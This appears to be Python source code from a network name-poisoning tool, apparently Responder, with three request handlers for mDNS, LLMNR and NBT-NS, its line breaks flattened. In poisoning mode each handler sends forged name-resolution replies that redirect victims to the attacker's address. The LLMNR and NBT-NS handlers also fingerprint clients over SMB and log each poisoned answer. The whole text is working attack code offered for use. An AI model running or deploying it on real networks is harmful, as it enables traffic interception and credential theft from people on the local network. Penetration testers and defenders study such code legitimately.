def handle(self): MADDR = "224.0.0.251" MPORT = 5353 data, soc = self.request Request_Name = Parse_MDNS_Name(data) # Break out if we don't want to respond to this host if (not Request_Name) or (utils.RespondToThisHost( self.client_address[0], Request_Name) is not True): return None if responder_settings.Config.AnalyzeMode: # Analyze Mode if utils.Parse_IPV6_Addr(data): print utils.text( '[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (utils.color(self.client_address[0], 3), utils.color(Request_Name, 3))) else: # Poisoning Mode if utils.Parse_IPV6_Addr(data): Poisoned_Name = Poisoned_MDNS_Name(data) Buffer = MDNS_Ans(AnswerName=Poisoned_Name, IP=socket.inet_aton( responder_settings.Config.Bind_To)) Buffer.calculate() soc.sendto(str(Buffer), (MADDR, MPORT)) print utils.color( '[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
def handle(self): data, soc = self.request Name = Parse_LLMNR_Name(data) # Break out if we don't want to respond to this host if utils.RespondToThisHost(self.client_address[0], Name) is not True: return None if data[2:4] == "\x00\x00" and utils.Parse_IPV6_Addr(data): Finger = None if responder_settings.Config.Finger_On_Off: Finger = fingerprint.RunSmbFinger( (self.client_address[0], 445)) if responder_settings.Config.AnalyzeMode: LineHeader = "[Analyze mode: LLMNR]" print utils.color( "%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) else: # Poisoning Mode Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name) Buffer.calculate() soc.sendto(str(Buffer), self.client_address) LineHeader = "[*] [LLMNR]" print utils.color( "%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1) if Finger is not None: print utils.text("[FINGER] OS Version : %s" % utils.color(Finger[0], 3)) print utils.text("[FINGER] Client Version : %s" % utils.color(Finger[1], 3))
def handle(self): data, socket = self.request Name = utils.Decode_Name(data[13:45]) # Break out if we don't want to respond to this host if utils.RespondToThisHost(self.client_address[0], Name) is not True: return None if data[2:4] == "\x01\x10": Finger = None if responder_settings.Config.Finger_On_Off: Finger = fingerprint.RunSmbFinger( (self.client_address[0], 445)) if responder_settings.Config.AnalyzeMode: # Analyze Mode LineHeader = "[Analyze mode: NBT-NS]" print( utils.color( "%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)) else: # Poisoning Mode Buffer = NBT_Ans() Buffer.calculate(data) socket.sendto(str(Buffer), self.client_address) LineHeader = "[*] [NBT-NS]" print( utils.color( "%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, utils.NBT_NS_Role(data[43:46])), 2, 1)) if Finger is not None: print( utils.text("[FINGER] OS Version : %s" % utils.color(Finger[0], 3))) print( utils.text("[FINGER] Client Version : %s" % utils.color(Finger[1], 3)))